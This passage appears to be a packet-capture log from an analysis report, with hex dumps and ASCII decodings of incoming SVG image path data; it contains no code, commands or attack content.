3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 Data Ascii: 1,0,3.58"></path><path class="cls-9" d="M785.62,269.39a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.19,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0
2023-05-31 12:51:55 UTC	2114	IN	Data Raw: 4d 38 32 30 2e 30 35 2c 33 36 35 2e 31 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 31 33 2c 33 35 36 2e 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 2c 32 2e 38 2c 30 2c Data Ascii: M820.05,365.18a2.16,2.16,0,0,1-1.09,2.76,3.17,3.17,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M820.13,356.5a2.16,2.16,0,0,1-1.1,2.76,3.16,3.16,0,0,1-4.12-1.36,3,3,0,0,1,.8-3.58,2.8,2.8,0,
2023-05-31 12:51:55 UTC	2130	IN	Data Raw: 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 34 2e 35 36 2c 34 35 32 2e 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 Data Ascii: 2.75,3.15,3.15,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M854.56,452.3a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58
2023-05-31 12:51:55 UTC	2146	IN	Data Raw: 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 33 32 2c 33 30 35 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 38 32 2e 34 2c 32 39 36 2e 32 39 61 32 2e 31 35 2c Data Ascii: .82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M882.32,305a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M882.4,296.29a2.15,
2023-05-31 12:51:55 UTC	2162	IN	Data Raw: 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 37 35 2c 34 30 30 2e 37 37 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 31 36 2e 38 33 2c 33 39 32 2e 30 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 Data Ascii: 0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M916.75,400.77a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M916.83,392.09a2.16,2.16,0,0
2023-05-31 12:51:55 UTC	2178	IN	Data Raw: 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 35 32 2c 32 35 33 2e 34 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 39 34 34 2e 36 2c 32 34 34 2e 37 36 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e Data Ascii: "cls-9" d="M944.52,253.44a2.16,2.16,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M944.6,244.76a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.
2023-05-31 12:51:55 UTC	2194	IN	Data Raw: 37 37 2c 32 32 35 2e 35 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 34 39 2e 34 37 2c 32 31 36 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 Data Ascii: 77,225.59a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M49.47,216.82a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3
2023-05-31 12:51:55 UTC	2210	IN	Data Raw: 22 20 64 3d 22 4d 38 38 2e 34 32 2c 33 31 32 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 38 38 2e 31 32 2c 33 30 33 2e 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 41 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2c 38 32 2e 39 2c 33 30 35 61 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 Data Ascii: " d="M88.42,312.18a2.18,2.18,0,0,1-1,2.82,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M88.12,303.4a2.19,2.19,0,0,1-1,2.83A3.2,3.2,0,0,1,82.9,305a3,3,0,0,1,.65-3.65,2.86,2.86,0
2023-05-31 12:51:55 UTC	2226	IN	Data Raw: 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 30 39 2e 38 33 2c 31 35 33 2e 32 35 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 Data Ascii: 1,.65-3.66,2.84,2.84,0,0,1,3.66.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M109.83,153.25a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7"
2023-05-31 12:51:55 UTC	2242	IN	Data Raw: 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 37 37 2c 32 34 38 2e 36 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 34 38 2e 34 37 2c 32 33 39 2e 38 33 61 Data Ascii: 2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.77,248.61a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.2,3.61"></path><path class="cls-7" d="M148.47,239.83a
2023-05-31 12:51:55 UTC	2258	IN	Data Raw: 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 34 38 2c 39 38 2e 34 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 31 37 30 2e 31 38 2c 38 39 2e 36 39 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 Data Ascii: 69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.48,98.46a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M170.18,89.69a2.16,2.16,0,0,1-1,2.82
2023-05-31 12:51:55 UTC	2274	IN	Data Raw: 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 34 32 2c 31 39 33 2e 38 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 30 39 2e 31 33 2c 31 38 35 2e 30 35 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 38 Data Ascii: ,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M209.42,193.82a2.17,2.17,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M209.13,185.05a2.17,2.17,0,0,1-1,2.82,3.18
2023-05-31 12:51:55 UTC	2290	IN	Data Raw: 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 33 37 2c 32 38 39 2e 31 38 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 34 38 2e 30 37 2c 32 38 30 2e 34 31 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 Data Ascii: 9,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.37,289.18a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M248.07,280.41a2.16,2.16,0,0,1-1,2.82,3.17,3.17
2023-05-31 12:51:55 UTC	2306	IN	Data Raw: 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 37 30 2e 30 38 2c 31 33 39 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 32 36 39 2e 37 38 2c 31 33 30 2e 32 36 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d Data Ascii: "></path><path class="cls-7" d="M270.08,139a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M269.78,130.26a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-
2023-05-31 12:51:55 UTC	2322	IN	Data Raw: 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 39 2c 32 33 34 2e 34 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 34 2c 32 2e 38 34 2c 30 2c 30 2c 31 2c 33 2e 36 36 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 30 38 2e 37 32 2c 32 32 35 2e 36 32 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 Data Ascii: h><path class="cls-7" d="M309,234.4a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3,3,0,0,1,.65-3.66,2.84,2.84,0,0,1,3.66,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M308.72,225.62a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1
2023-05-31 12:51:55 UTC	2338	IN	Data Raw: 3d 22 4d 33 33 30 2e 37 33 2c 38 34 2e 32 35 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 34 37 2e 36 37 2c 33 32 31 61 32 2e 31 38 2c 32 2e 31 38 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 36 2c 32 Data Ascii: ="M330.73,84.25a2.18,2.18,0,0,1-1,2.83,3.17,3.17,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2.87,2.87,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"></path><path class="cls-7" d="M347.67,321a2.18,2.18,0,0,1-1,2.83,3.18,3.18,0,0,1-4.22-1.19,3.06,3.06,0,0,1,.64-3.66,2
2023-05-31 12:51:55 UTC	2354	IN	Data Raw: 20 64 3d 22 4d 33 36 39 2e 36 37 2c 31 37 39 2e 36 31 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 39 2e 33 38 2c 31 37 30 2e 38 33 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 Data Ascii: d="M369.67,179.61a2.17,2.17,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.66,2.87,2.87,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"></path><path class="cls-7" d="M369.38,170.83a2.19,2.19,0,0,1-1,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2
2023-05-31 12:51:55 UTC	2370	IN	Data Raw: 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 31 31 2e 37 2c 33 33 39 2e 31 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d Data Ascii: 09,2.81,2.81,0,0,1,.59-3.37,2.64,2.64,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"></path><path class="cls-9" d="M311.7,339.13a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.18,3.32"></path><path class=
